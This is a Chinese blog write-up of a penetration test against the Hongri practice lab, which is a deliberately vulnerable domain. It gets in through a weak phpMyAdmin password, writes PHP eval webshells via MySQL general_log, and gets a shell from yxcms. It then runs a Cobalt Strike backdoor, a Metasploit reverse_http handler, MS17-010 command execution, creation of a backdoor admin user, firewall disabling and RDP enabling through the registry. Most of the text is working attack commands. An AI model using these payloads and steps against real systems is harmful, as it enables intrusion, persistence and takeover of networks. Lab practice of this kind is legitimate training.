一、环境搭建
说明:虚拟机所有初始密码都为hongrisec@2019(后面需要改密码,自己设置)
这里设置两个网卡,配置如下:
三台虚拟机以及攻击机ip如下:
kali机:192.168.230.131(VMnet8 网卡随机分配的IP)
win7:192.168.230.153**(外网ip)**,192.168.52.143**(内网ip)**
Windows 2008 (域控):192.168.52.138(内网)
Win2k3 (域管):192.168.52.141(内网)
(1)win7环境配置
修改如下配置:
尝试ping外网和内网机(win 2008),都能ping通,这里还有一点就是要把这个防火墙关闭,否则kali会ping不通
开启phpstudy(路径在C盘下面),可以正常访问探针
(2)win 2008环境配置
输入密码显示需要更改密码,随意更改密码就行
win 2008的ip如下图:
(3)Win2k3环境配置
这里也是一样,需要更改密码,密码随意
ip为192.168.236.141 与外网不连通
二、外网渗透
(1)信息收集
在外网通过目录扫描,发现phpmyadmin登录口
使用弱口令root/root成功进入
在里面看见了mysql数据库和一个 yxcms的数据库,应该也存在一个搭建的yxcms服务
(2)phpmyadmin后台getshell
phpmyadmin有两种getshell方式:
1、into outfile导出木马
2、利用Mysql日志文件getshell
1、尝试into outfile导出木马(失败)
查询网站路径:
select @@basedir;
可以看到网站路径为:C:/phpStudy/MySQL/
再尝试将木马写入到www网站根目录下:
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php';
发现写入不了
也可以直接尝试查看数据库是否有导入权限,看能否直接导入木马
show global variables like 'secure%'; //为了查询secure_file_priv
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
此时查询结果为NULL,所以不能写入
2、利用Mysql日志文件getshell
首先查询是否有开启日志
show variables like '%general%';
日志记录功能关闭,但是可以开启,命令如下:
SET GLOBAL general_log='on';
命令执行后,再查看日志状态,开启成功
开启后将日志文件的存储位置改为可访问到的目录, 根目录即可
set global general_log_file = 'C:/phpStudy/WWW/hack.php'
执行下边一句话木马 ,数据库将会将查询语句保存在日志文件中
SELECT '<?php @eval($_POST["hack"]);?>'
尝试蚁剑链接,成功上传
(3)yxcms后台getshell
上面信息收集发现有个yxcms,同时我们进入后台之后,可以看到一个 beifen.rar备份文件和yxcms目录,这里也有个getshell的方法,这里我们也记录一下。
可以看到在公告处,泄露了 yxcms的admin后台登录路径 以及 默认的密码
登陆成功后,在前台模板出看见有很多的php文件的模板,写入shell
现在需要找到文件上传到哪了,可以找找前面提到的 beifen.rar 备份文件
在备份文件直接搜索原来存有的文件,就能轻易知道文件路径了
最后的路径为:yxcms/protected/apps/default/view/default
蚁剑连接 成功拿到shell
三、内网信息收集
(1)CS上线
kali运行CS
./teamserver 攻击Ip 123456(密码)
主机运行CS 客户端并连接 CS 服务端,配置好listener监听器之后,生成 exe后门程序
直接使用蚁剑上传后门
直接使用蚁剑运行后门文件,CS成功上线
这里可以执行个 sleep 0,不然回显会很慢
这里尝试直接提权
提权成功
可以看到域控的文件 我们可以进行上传文件操作,下面再看看其他方法 横向移动拿到域控和域内其他机器
(3)域内信息收集
内网信息收集的主要目的就是查找域控以及域内的其他主机
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
查看有几个域存在
四、内网渗透
(1)cs与msf联动
首先在msf上监听自己的ip跟端口:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http(跟cs上选用的payload一样)
set lhost 本机ip
set lport 接受的端口
exploit
然后cs那边创建一个foreign监听的listeners。
Listeners的ip为msf的ip,端口为msf监听的端口
然后,回到cs上,选中拿下的计算机会话,右键选中新建会话,然后在弹出来的框中选择刚刚创建的foreign监听器,然后执行。
此时,msf下即可看到已经拿到了一个新的会话。
为了使除了msf的其它工具也能通过cs反弹过来的会话进入内网,msf建立需要建立socks反向代理
(正向代理就是指内网机器如果不能直接连到外网,建立正向代理可以连到外网,而反向代理则相反,是外网主机想要进入内网建立的代理)
首先新建路由
run post/multi/manage/autoroute
查看路由
run autoroute -p
先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.138 开放的端口:
background
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set ports 80,135-139,445,3306,3389
run
192.168.52.138 win2003域成员机开启了 135、139、445端口
同理扫描一下win2008,开启了80、135、139、445端口
(2)MSF进行ms17-010攻击
开放了445端口可以用MS17_010(永恒之蓝)攻击试一下
search ms17_010 //找出ms17_010的攻击模块
use auxiliary/scanner/smb/smb_ms17_010 //此模块失败
set rhosts 192.168.52.138
run
最后使用下面模块,可以成功命令执行
use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.52.141
exploit
试着添加用户
set COMMAND net user hack hack /add
发现添加不成功,后来发现是因为有密码设置策略,密码不能太简单且不能包含用户名
set COMMAND net user hack zkm@2024
成功添加
然后把添加的用户加入管理员组
set COMMAND net localgroup administrators hack /add
添加成功
接着把防火墙关了
#关闭防火墙
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
试着开启3389服务
#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
这里不知道为啥3389端口打不开,尼玛
标签:红日,domain,set,查看,ip,192.168,靶场,net From: https://www.cnblogs.com/pa0fu/p/18287429